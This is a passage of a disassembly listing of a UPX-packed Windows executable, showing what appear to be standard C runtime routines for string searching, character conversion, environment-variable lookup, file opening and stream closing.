jz short loc_41543D
push eax
call sub_40ADC8
pop ecx
loc_41543D: ; CODE XREF: sub_4153C4+70j
mov esi, [esi+24h]
cmp esi, off_42AE24
jz short loc_41544F
push esi
call sub_40ADC8
pop ecx
loc_41544F: ; CODE XREF: sub_4153C4+Bj
; sub_4153C4+82j
pop esi
pop ebp
retn
sub_4153C4 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push esi
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
mov edx, [ebp+0Ch]
lea ecx, [ecx+0]
loc_415474: ; CODE XREF: UPX0:00415481j
mov al, [edx]
or al, al
jz short loc_415483
add edx, 1
bts [esp], eax
jmp short loc_415474
; ---------------------------------------------------------------------------
loc_415483: ; CODE XREF: UPX0:00415478j
mov esi, [ebp+8]
or ecx, 0FFFFFFFFh
lea ecx, [ecx+0]
loc_41548C: ; CODE XREF: UPX0:0041549Cj
add ecx, 1
mov al, [esi]
or al, al
jz short loc_41549E
add esi, 1
bt [esp], eax
jnb short loc_41548C
loc_41549E: ; CODE XREF: UPX0:00415493j
mov eax, ecx
add esp, 20h
pop esi
leave
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push esi
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
mov edx, [ebp+0Ch]
lea ecx, [ecx+0]
loc_4154C4: ; CODE XREF: UPX0:004154D1j
mov al, [edx]
or al, al
jz short loc_4154D3
add edx, 1
bts [esp], eax
jmp short loc_4154C4
; ---------------------------------------------------------------------------
loc_4154D3: ; CODE XREF: UPX0:004154C8j
mov esi, [ebp+8]
mov edi, edi
loc_4154D8: ; CODE XREF: UPX0:004154E5j
mov al, [esi]
or al, al
jz short loc_4154EA
add esi, 1
bt [esp], eax
jnb short loc_4154D8
lea eax, [esi-1]
loc_4154EA: ; CODE XREF: UPX0:004154DCj
add esp, 20h
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4154F0 proc near ; CODE XREF: sub_412505+171p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, [ebp+arg_4]
push esi
call sub_411ACB
mov [ebp+arg_4], eax
mov eax, [esi+0Ch]
pop ecx
test al, 82h
jnz short loc_415524
call sub_40C862
mov dword ptr [eax], 9
loc_415516: ; CODE XREF: sub_4154F0+43j
or dword ptr [esi+0Ch], 20h
loc_41551A: ; CODE XREF: sub_4154F0+E8j
mov eax, 0FFFFh
jmp loc_415661
; ---------------------------------------------------------------------------
loc_415524: ; CODE XREF: sub_4154F0+19j
test al, 40h
jz short loc_415535
call sub_40C862
mov dword ptr [eax], 22h
jmp short loc_415516
; ---------------------------------------------------------------------------
loc_415535: ; CODE XREF: sub_4154F0+36j
test al, 1
jz short loc_415550
and dword ptr [esi+4], 0
test al, 10h
jz loc_4155D2
mov ecx, [esi+8]
and eax, 0FFFFFFFEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_415550: ; CODE XREF: sub_4154F0+47j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+var_4], 0
push ebx
push 2
and eax, 0FFFFFFEFh
pop ebx
or eax, ebx
mov [esi+0Ch], eax
test eax, 10Ch
jnz short loc_41559A
call sub_411916
add eax, 20h
cmp esi, eax
jz short loc_415586
call sub_411916
add eax, 40h
cmp esi, eax
jnz short loc_415593
loc_415586: ; CODE XREF: sub_4154F0+88j
push [ebp+arg_4]
call sub_4118B2
pop ecx
test eax, eax
jnz short loc_41559A
loc_415593: ; CODE XREF: sub_4154F0+94j
push esi
call sub_411869
pop ecx
loc_41559A: ; CODE XREF: sub_4154F0+7Cj
; sub_4154F0+A1j
test dword ptr [esi+0Ch], 108h
push edi
jz loc_41562B
mov eax, [esi+8]
mov edi, [esi]
lea ecx, [eax+2]
mov [esi], ecx
mov ecx, [esi+18h]
sub edi, eax
sub ecx, ebx
mov [esi+4], ecx
test edi, edi
jle short loc_4155DD
push edi
push eax
push [ebp+arg_4]
call sub_41178D
add esp, 0Ch
mov [ebp+var_4], eax
jmp short loc_415620
; ---------------------------------------------------------------------------
loc_4155D2: ; CODE XREF: sub_4154F0+4Fj
or eax, 20h
mov [esi+0Ch], eax
jmp loc_41551A
; ---------------------------------------------------------------------------
loc_4155DD: ; CODE XREF: sub_4154F0+CEj
mov ecx, [ebp+arg_4]
cmp ecx, 0FFFFFFFFh
jz short loc_415600
cmp ecx, 0FFFFFFFEh
jz short loc_415600
mov eax, ecx
and eax, 1Fh
mov edx, ecx
sar edx, 5
shl eax, 6
add eax, dword_430160[edx*4]
jmp short loc_415605
; ---------------------------------------------------------------------------
loc_415600: ; CODE XREF: sub_4154F0+F3j
; sub_4154F0+F8j
mov eax, offset dword_42A3E0
loc_415605: ; CODE XREF: sub_4154F0+10Ej
test byte ptr [eax+4], 20h
jz short loc_415620
push ebx
push 0
push 0
push ecx
call sub_410F41
and eax, edx
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_41564D
loc_415620: ; CODE XREF: sub_4154F0+E0j
; sub_4154F0+119j
mov eax, [esi+8]
mov ebx, [ebp+arg_0]
mov [eax], bx
jmp short loc_415648
; ---------------------------------------------------------------------------
loc_41562B: ; CODE XREF: sub_4154F0+B2j
push 2
lea eax, [ebp+var_4]
push eax
push [ebp+arg_4]
mov edi, ebx
mov ebx, [ebp+arg_0]
mov word ptr [ebp+var_4], bx
call sub_41178D
add esp, 0Ch
mov [ebp+var_4], eax
loc_415648: ; CODE XREF: sub_4154F0+139j
cmp [ebp+var_4], edi
jz short loc_415658
loc_41564D: ; CODE XREF: sub_4154F0+12Ej
or dword ptr [esi+0Ch], 20h
mov eax, 0FFFFh
jmp short loc_41565F
; ---------------------------------------------------------------------------
loc_415658: ; CODE XREF: sub_4154F0+15Bj
mov eax, ebx
and eax, 0FFFFh
loc_41565F: ; CODE XREF: sub_4154F0+166j
pop edi
pop ebx
loc_415661: ; CODE XREF: sub_4154F0+2Fj
pop esi
leave
retn
sub_4154F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415664 proc near ; CODE XREF: sub_4157D0+13p
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = word ptr 14h
arg_10 = dword ptr 18h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push edi
mov edi, [ebp+arg_8]
cmp esi, ebx
jnz short loc_41568F
cmp edi, ebx
jbe short loc_41568F
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_415688
mov [eax], ebx
loc_415688: ; CODE XREF: sub_415664+20j
; sub_415664+F9j ...
xor eax, eax
jmp loc_415712
; ---------------------------------------------------------------------------
loc_41568F: ; CODE XREF: sub_415664+15j
; sub_415664+19j
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_415699
or dword ptr [eax], 0FFFFFFFFh
loc_415699: ; CODE XREF: sub_415664+30j
cmp edi, 7FFFFFFFh
jbe short loc_4156BC
call sub_40C862
push 16h
pop esi
push ebx
push ebx
push ebx
push ebx
push ebx
mov [eax], esi
call sub_40B255
add esp, 14h
loc_4156B8: ; CODE XREF: sub_415664+D5j
; sub_415664+E2j
mov eax, esi
jmp short loc_415712
; ---------------------------------------------------------------------------
loc_4156BC: ; CODE XREF: sub_415664+3Bj
push [ebp+arg_10]
lea ecx, [ebp+var_10]
call sub_40C799
mov eax, [ebp+var_10]
cmp [eax+14h], ebx
jnz loc_41576F
mov ax, [ebp+arg_C]
mov ecx, 0FFh
cmp ax, cx
jbe short loc_415717
cmp esi, ebx
jz short loc_4156F4
cmp edi, ebx
jbe short loc_4156F4
push edi
push ebx
push esi
call sub_40BD40
add esp, 0Ch
loc_4156F4: ; CODE XREF: sub_415664+7Fj
; sub_415664+83j ...
call sub_40C862
mov dword ptr [eax], 2Ah
call sub_40C862
mov eax, [eax]
cmp [ebp+var_4], bl
jz short loc_415712
mov ecx, [ebp+var_8]
and dword ptr [ecx+70h], 0FFFFFFFDh
loc_415712: ; CODE XREF: sub_415664+26j
; sub_415664+56j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_415717: ; CODE XREF: sub_415664+7Bj
cmp esi, ebx
jz short loc_41574D
cmp edi, ebx
ja short loc_41574B
loc_41571F: ; CODE XREF: sub_415664+14Ej
; sub_415664+156j ...
call sub_40C862
push 22h
pop esi
push ebx
push ebx
push ebx
push ebx
push ebx
mov [eax], esi
call sub_40B255
add esp, 14h
cmp [ebp+var_4], bl
jz loc_4156B8
mov eax, [ebp+var_8]
and dword ptr [eax+70h], 0FFFFFFFDh
jmp loc_4156B8
; ---------------------------------------------------------------------------
loc_41574B: ; CODE XREF: sub_415664+B9j
mov [esi], al
loc_41574D: ; CODE XREF: sub_415664+B5j
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_41575A
mov dword ptr [eax], 1
loc_41575A: ; CODE XREF: sub_415664+EEj
; sub_415664+137j ...
cmp [ebp+var_4], bl
jz loc_415688
mov eax, [ebp+var_8]
and dword ptr [eax+70h], 0FFFFFFFDh
jmp loc_415688
; ---------------------------------------------------------------------------
loc_41576F: ; CODE XREF: sub_415664+69j
lea ecx, [ebp+arg_4]
push ecx
push ebx
push edi
push esi
push 1
lea ecx, [ebp+arg_C]
push ecx
push ebx
mov [ebp+arg_4], ebx
push dword ptr [eax+4]
call dword_41D07C ; WideCharToMultiByte
cmp eax, ebx
jz short loc_4157A1
cmp [ebp+arg_4], ebx
jnz loc_4156F4
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_41575A
mov [ecx], eax
jmp short loc_41575A
; ---------------------------------------------------------------------------
loc_4157A1: ; CODE XREF: sub_415664+127j
call dword_41D1D8 ; RtlGetLastWin32Error
cmp eax, 7Ah
jnz loc_4156F4
cmp esi, ebx
jz loc_41571F
cmp edi, ebx
jbe loc_41571F
push edi
push ebx
push esi
call sub_40BD40
add esp, 0Ch
jmp loc_41571F
sub_415664 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4157D0 proc near ; CODE XREF: sub_412505+108p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
mov edi, edi
push ebp
mov ebp, esp
push 0
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_415664
add esp, 14h
pop ebp
retn
sub_4157D0 endp
; ---------------------------------------------------------------------------
push 2
call sub_40DAD0
pop ecx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4157F6 proc near ; CODE XREF: sub_415847+25p
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
sub esp, 10h
push [ebp+arg_4]
lea ecx, [ebp+var_10]
call sub_40C799
mov eax, [ebp+var_10]
cmp dword ptr [eax+0ACh], 1
jle short loc_415828
lea eax, [ebp+var_10]
push eax
push 4
push [ebp+arg_0]
call sub_41449B
add esp, 0Ch
jmp short loc_415838
; ---------------------------------------------------------------------------
loc_415828: ; CODE XREF: sub_4157F6+1Dj
mov eax, [eax+0C8h]
mov ecx, [ebp+arg_0]
movzx eax, word ptr [eax+ecx*2]
and eax, 4
loc_415838: ; CODE XREF: sub_4157F6+30j
cmp [ebp+var_4], 0
jz short locret_415845
mov ecx, [ebp+var_8]
and dword ptr [ecx+70h], 0FFFFFFFDh
locret_415845: ; CODE XREF: sub_4157F6+46j
leave
retn
sub_4157F6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415847 proc near ; CODE XREF: sub_418D6B+2Ap
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
cmp dword_42ED1C, 0
jnz short loc_415867
mov eax, [ebp+arg_0]
mov ecx, off_42ACC8
movzx eax, word ptr [ecx+eax*2]
and eax, 4
pop ebp
retn
; ---------------------------------------------------------------------------
loc_415867: ; CODE XREF: sub_415847+Cj
push 0
push [ebp+arg_0]
call sub_4157F6
pop ecx
pop ecx
pop ebp
retn
sub_415847 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415875 proc near ; CODE XREF: sub_415A3D+10p
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 14h
push ebx
xor ebx, ebx
cmp [ebp+arg_8], ebx
jnz short loc_41588C
xor eax, eax
jmp loc_415A26
; ---------------------------------------------------------------------------
loc_41588C: ; CODE XREF: sub_415875+Ej
push [ebp+arg_C]
lea ecx, [ebp+var_14]
call sub_40C799
mov eax, [ebp+var_10]
cmp [eax+8], ebx
jnz short loc_4158C5
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41620E
add esp, 0Ch
cmp [ebp+var_8], bl
jz loc_415A26
mov ecx, [ebp+var_C]
and dword ptr [ecx+70h], 0FFFFFFFDh
jmp loc_415A26
; ---------------------------------------------------------------------------
loc_4158C5: ; CODE XREF: sub_415875+28j
push edi
mov edi, [ebp+arg_0]
cmp edi, ebx
jz short loc_4158D2
cmp [ebp+arg_4], ebx
jnz short loc_415900
loc_4158D2: ; CODE XREF: sub_415875+56j
call sub_40C862
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword ptr [eax], 16h
call sub_40B255
add esp, 14h
cmp [ebp+var_8], bl
jz short loc_4158F6
mov eax, [ebp+var_C]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_4158F6: ; CODE XREF: sub_415875+78j
mov eax, 7FFFFFFFh
jmp loc_415A25
; ---------------------------------------------------------------------------
loc_415900: ; CODE XREF: sub_415875+5Bj
push esi
loc_415901: ; CODE XREF: sub_415875+19Bj
movzx cx, byte ptr [edi]
dec [ebp+arg_8]
movzx ecx, cx
movzx edx, cl
inc edi
test byte ptr [edx+eax+1Dh], 4
mov [ebp+var_4], ecx
jz short loc_41595C
mov dl, [edi]
cmp dl, bl
jnz short loc_415924
mov [ebp+var_4], ebx
jmp short loc_41597C
; ---------------------------------------------------------------------------
loc_415924: ; CODE XREF: sub_415875+A8j
shl ecx, 8
movzx dx, dl
or cx, dx
movzx ecx, cx
mov si, cx
inc edi
mov [ebp+var_4], ecx
cmp si, [eax+10h]
jb short loc_41594A
cmp si, [eax+12h]
ja short loc_41594A
add si, [eax+14h]
jmp short loc_415980
; ---------------------------------------------------------------------------
loc_41594A: ; CODE XREF: sub_415875+C7j
; sub_415875+CDj
cmp si, [eax+16h]
jb short loc_415980
cmp si, [eax+18h]
ja short loc_415980
add si, [eax+1Ah]
jmp short loc_415980
; ---------------------------------------------------------------------------
loc_41595C: ; CODE XREF: sub_415875+A2j
movzx edx, word ptr [ebp+var_4]
lea ecx, [edx+eax]
test byte ptr [ecx+1Dh], 10h
jz short loc_415976
movzx cx, byte ptr [ecx+11Dh]
movzx ecx, cx
jmp short loc_415979
; ---------------------------------------------------------------------------
loc_415976: ; CODE XREF: sub_415875+F2j
movzx ecx, dx
loc_415979: ; CODE XREF: sub_415875+FFj
mov [ebp+var_4], ecx
loc_41597C: ; CODE XREF: sub_415875+ADj
mov si, word ptr [ebp+var_4]
loc_415980: ; CODE XREF: sub_415875+D3j
; sub_415875+D9j ...
mov ecx, [ebp+arg_4]
movzx cx, byte ptr [ecx]
inc [ebp+arg_4]
movzx ecx, cx
movzx edx, cl
test byte ptr [edx+eax+1Dh], 4
mov [ebp+var_4], ecx
jz short loc_4159DF
mov edx, [ebp+arg_4]
mov dl, [edx]
cmp dl, bl
jnz short loc_4159A8
mov [ebp+var_4], ebx
jmp short loc_4159FF
; ---------------------------------------------------------------------------
loc_4159A8: ; CODE XREF: sub_415875+12Cj
shl ecx, 8
movzx dx, dl
or cx, dx
inc [ebp+arg_4]
movzx ecx, cx
mov [ebp+var_4], ecx
cmp cx, [eax+10h]
jb short loc_4159CD
cmp cx, [eax+12h]
ja short loc_4159CD
add cx, [eax+14h]
jmp short loc_415A03
; ---------------------------------------------------------------------------
loc_4159CD: ; CODE XREF: sub_415875+14Aj
; sub_415875+150j
cmp cx, [eax+16h]
jb short loc_415A03
cmp cx, [eax+18h]
ja short loc_415A03
add cx, [eax+1Ah]
jmp short loc_415A03
; ---------------------------------------------------------------------------
loc_4159DF: ; CODE XREF: sub_415875+123j
movzx edx, word ptr [ebp+var_4]
lea ecx, [edx+eax]
test byte ptr [ecx+1Dh], 10h
jz short loc_4159F9
movzx cx, byte ptr [ecx+11Dh]
movzx ecx, cx
jmp short loc_4159FC
; ---------------------------------------------------------------------------
loc_4159F9: ; CODE XREF: sub_415875+175j
movzx ecx, dx
loc_4159FC: ; CODE XREF: sub_415875+182j
mov [ebp+var_4], ecx
loc_4159FF: ; CODE XREF: sub_415875+131j
mov cx, word ptr [ebp+var_4]
loc_415A03: ; CODE XREF: sub_415875+156j
; sub_415875+15Cj ...
cmp cx, si
jnz short loc_415A29
cmp si, bx
jz short loc_415A16
cmp [ebp+arg_8], ebx
jnz loc_415901
loc_415A16: ; CODE XREF: sub_415875+196j
cmp [ebp+var_8], bl
jz short loc_415A22
mov eax, [ebp+var_C]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_415A22: ; CODE XREF: sub_415875+1A4j
xor eax, eax
loc_415A24: ; CODE XREF: sub_415875+1BDj
; sub_415875+1C6j
pop esi
loc_415A25: ; CODE XREF: sub_415875+86j
pop edi
loc_415A26: ; CODE XREF: sub_415875+12j
; sub_415875+3Ej ...
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_415A29: ; CODE XREF: sub_415875+191j
sbb eax, eax
and eax, 2
dec eax
cmp [ebp+var_8], bl
jz short loc_415A24
mov ecx, [ebp+var_C]
and dword ptr [ecx+70h], 0FFFFFFFDh
jmp short loc_415A24
sub_415875 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415A3D proc near ; CODE XREF: sub_413E93+1E1p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
mov edi, edi
push ebp
mov ebp, esp
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_415875
add esp, 10h
pop ebp
retn
sub_415A3D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415A57 proc near ; CODE XREF: sub_415ADE+60p
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
cmp dword_430264, 0
push esi
mov esi, dword_42E88C
jnz short loc_415A70
xor eax, eax
jmp short loc_415AD3
; ---------------------------------------------------------------------------
loc_415A70: ; CODE XREF: sub_415A57+13j
push edi
test esi, esi
jnz short loc_415A90
cmp dword_42E894, esi
jz short loc_415AD0
call sub_416374
test eax, eax
jnz short loc_415AD0
mov esi, dword_42E88C
test esi, esi
jz short loc_415AD0
loc_415A90: ; CODE XREF: sub_415A57+1Cj
cmp [ebp+arg_0], 0
jz short loc_415AD0
push [ebp+arg_0]
call sub_40BFB0
pop ecx
mov edi, eax
jmp short loc_415ACA
; ---------------------------------------------------------------------------
loc_415AA3: ; CODE XREF: sub_415A57+77j
push eax
call sub_40BFB0
pop ecx
cmp eax, edi
jbe short loc_415AC7
mov eax, [esi]
cmp byte ptr [eax+edi], 3Dh
jnz short loc_415AC7
push edi
push [ebp+arg_0]
push eax
call sub_41635A
add esp, 0Ch
test eax, eax
jz short loc_415AD6
loc_415AC7: ; CODE XREF: sub_415A57+55j
; sub_415A57+5Dj
add esi, 4
loc_415ACA: ; CODE XREF: sub_415A57+4Aj
mov eax, [esi]
test eax, eax
jnz short loc_415AA3
loc_415AD0: ; CODE XREF: sub_415A57+24j
; sub_415A57+2Dj ...
xor eax, eax
loc_415AD2: ; CODE XREF: sub_415A57+85j
pop edi
loc_415AD3: ; CODE XREF: sub_415A57+17j
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_415AD6: ; CODE XREF: sub_415A57+6Ej
mov eax, [esi]
lea eax, [eax+edi+1]
jmp short loc_415AD2
sub_415A57 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415ADE proc near ; CODE XREF: sub_413E93+A4p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push 10h
push offset dword_426CF8
call __SEH_prolog4
push 7
call sub_40CFA9
pop ecx
xor esi, esi
mov [ebp+ms_exc.disabled], esi
xor eax, eax
mov ebx, [ebp+arg_0]
cmp ebx, esi
setnz al
cmp eax, esi
jnz short loc_415B24
loc_415B05: ; CODE XREF: sub_415ADE+5Bj
call sub_40C862
push 16h
pop edi
mov [eax], edi
push esi
push esi
push esi
push esi
push esi
call sub_40B255
add esp, 14h
mov [ebp+var_1C], edi
jmp loc_415BA6
; ---------------------------------------------------------------------------
loc_415B24: ; CODE XREF: sub_415ADE+25j
mov [ebx], esi
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_415B2F
mov [eax], esi
loc_415B2F: ; CODE XREF: sub_415ADE+4Dj
xor eax, eax
cmp [ebp+arg_8], esi
setnz al
cmp eax, esi
jz short loc_415B05
push [ebp+arg_8]
call sub_415A57
pop ecx
mov [ebp+var_20], eax
cmp eax, esi
jz short loc_415BA3
push eax
call sub_40BFB0
mov edi, eax
inc edi
push 1
push edi
call sub_40B5BD
add esp, 0Ch
mov [ebx], eax
cmp eax, esi
jnz short loc_415B7C
call sub_40C862
mov dword ptr [eax], 0Ch
call sub_40C862
mov eax, [eax]
mov [ebp+var_1C], eax
jmp short loc_415BA6
; ---------------------------------------------------------------------------
loc_415B7C: ; CODE XREF: sub_415ADE+85j
push [ebp+var_20]
push edi
push eax
call sub_40CD95
add esp, 0Ch
cmp eax, esi
jz short loc_415B9A
push esi
push esi
push esi
push esi
push esi
call sub_40B12D
add esp, 14h
loc_415B9A: ; CODE XREF: sub_415ADE+ADj
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_415BA3
mov [eax], edi
loc_415BA3: ; CODE XREF: sub_415ADE+6Bj
; sub_415ADE+C1j
mov [ebp+var_1C], esi
loc_415BA6: ; CODE XREF: sub_415ADE+41j
; sub_415ADE+9Cj
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_415BBB
mov eax, [ebp+var_1C]
call __SEH_epilog4
retn
sub_415ADE endp
; =============== S U B R O U T I N E =======================================
sub_415BBB proc near ; CODE XREF: sub_415ADE+CFp
; DATA XREF: UPX0:00426D10o
push 7
call sub_40CECF
pop ecx
retn
sub_415BBB endp
; ---------------------------------------------------------------------------
align 10h
; START OF FUNCTION CHUNK FOR sub_415BE0
loc_415BD0: ; CODE XREF: sub_415BE0+1Fj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_415BE0
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_415BE0 proc near ; CODE XREF: sub_4142F5+52p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 00415BD0 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_415C0D
loc_415BF8: ; CODE XREF: sub_415BE0+2Bj
mov cl, [edx]
add edx, 1
cmp cl, bl
jz short loc_415BD0
test cl, cl
jz short loc_415C56
test edx, 3
jnz short loc_415BF8
loc_415C0D: ; CODE XREF: sub_415BE0+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_415C18: ; CODE XREF: sub_415BE0+63j
; sub_415BE0+72j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_415C5A
and eax, 81010100h
jz short loc_415C18
and eax, 1010100h
jnz short loc_415C54
and esi, 80000000h
jnz short loc_415C18
loc_415C54: ; CODE XREF: sub_415BE0+6Aj
; sub_415BE0+83j ...
pop esi
pop edi
loc_415C56: ; CODE XREF: sub_415BE0+23j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_415C5A: ; CODE XREF: sub_415BE0+5Cj
mov eax, [edx-4]
cmp al, bl
jz short loc_415C97
test al, al
jz short loc_415C54
cmp ah, bl
jz short loc_415C90
test ah, ah
jz short loc_415C54
shr eax, 10h
cmp al, bl
jz short loc_415C89
test al, al
jz short loc_415C54
cmp ah, bl
jz short loc_415C82
test ah, ah
jz short loc_415C54
jmp short loc_415C18
; ---------------------------------------------------------------------------
loc_415C82: ; CODE XREF: sub_415BE0+9Aj
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_415C89: ; CODE XREF: sub_415BE0+92j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_415C90: ; CODE XREF: sub_415BE0+87j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_415C97: ; CODE XREF: sub_415BE0+7Fj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_415BE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415CA0 proc near ; CODE XREF: sub_4143C8+55p
; sub_41917C+104p
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
add ecx, 1
neg ecx
sub edi, 1
mov al, [ebp+arg_4]
std
repne scasb
add edi, 1
cmp [edi], al
jz short loc_415CC7
xor eax, eax
jmp short loc_415CC9
; ---------------------------------------------------------------------------
loc_415CC7: ; CODE XREF: sub_415CA0+21j
mov eax, edi
loc_415CC9: ; CODE XREF: sub_415CA0+25j
cld
pop edi
leave
retn
sub_415CA0 endp
; =============== S U B R O U T I N E =======================================
sub_415CCD proc near ; CODE XREF: sub_41490D+26p
xor eax, eax
push eax
push eax
push 3
push eax
push 3
push 40000000h
push offset dword_41EEEC
call dword_41D0FC ; CreateFileA
mov dword_42AE44, eax
retn
sub_415CCD endp
; =============== S U B R O U T I N E =======================================
sub_415CEC proc near ; DATA XREF: UPX0:0041D418o
mov eax, dword_42AE44
push esi
mov esi, dword_41D0A8
cmp eax, 0FFFFFFFFh
jz short loc_415D05
cmp eax, 0FFFFFFFEh
jz short loc_415D05
push eax
call esi ; dword_41D0A8
loc_415D05: ; CODE XREF: sub_415CEC+Fj
; sub_415CEC+14j
mov eax, dword_42AE40
cmp eax, 0FFFFFFFFh
jz short loc_415D17
cmp eax, 0FFFFFFFEh
jz short loc_415D17
push eax
call esi ; dword_41D0A8
loc_415D17: ; CODE XREF: sub_415CEC+21j
; sub_415CEC+26j
pop esi
retn
sub_415CEC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415D19 proc near ; CODE XREF: sub_415D90+5Ap
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
xor edi, edi
or ebx, 0FFFFFFFFh
cmp esi, edi
jnz short loc_415D49
call sub_40C862
push edi
push edi
push edi
push edi
push edi
mov dword ptr [eax], 16h
call sub_40B255
add esp, 14h
or eax, ebx
jmp short loc_415D8B
; ---------------------------------------------------------------------------
loc_415D49: ; CODE XREF: sub_415D19+12j
test byte ptr [esi+0Ch], 83h
jz short loc_415D86
push esi
call sub_414A71
push esi
mov ebx, eax
call sub_416574
push esi
call sub_411ACB
push eax
call sub_4164A7
add esp, 10h
test eax, eax
jge short loc_415D75
or ebx, 0FFFFFFFFh
jmp short loc_415D86
; ---------------------------------------------------------------------------
loc_415D75: ; CODE XREF: sub_415D19+55j
mov eax, [esi+1Ch]
cmp eax, edi
jz short loc_415D86
push eax
call sub_40ADC8
pop ecx
mov [esi+1Ch], edi
loc_415D86: ; CODE XREF: sub_415D19+34j
; sub_415D19+5Aj ...
mov [esi+0Ch], edi
mov eax, ebx
loc_415D8B: ; CODE XREF: sub_415D19+2Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_415D19 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415D90 proc near ; CODE XREF: sub_4149D2+43p
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
push 0Ch
push offset dword_426D18
call __SEH_prolog4
or [ebp+var_1C], 0FFFFFFFFh
xor eax, eax
mov esi, [ebp+arg_0]
xor edi, edi
cmp esi, edi
setnz al
cmp eax, edi
jnz short loc_415DCD
call sub_40C862
mov dword ptr [eax], 16h
push edi
push edi
push edi
push edi
push edi
call sub_40B255
add esp, 14h
or eax, 0FFFFFFFFh
jmp short loc_415DD9
; ---------------------------------------------------------------------------
loc_415DCD: ; CODE XREF: sub_415D90+1Ej
test byte ptr [esi+0Ch], 40h
jz short loc_415DDF
mov [esi+0Ch], edi
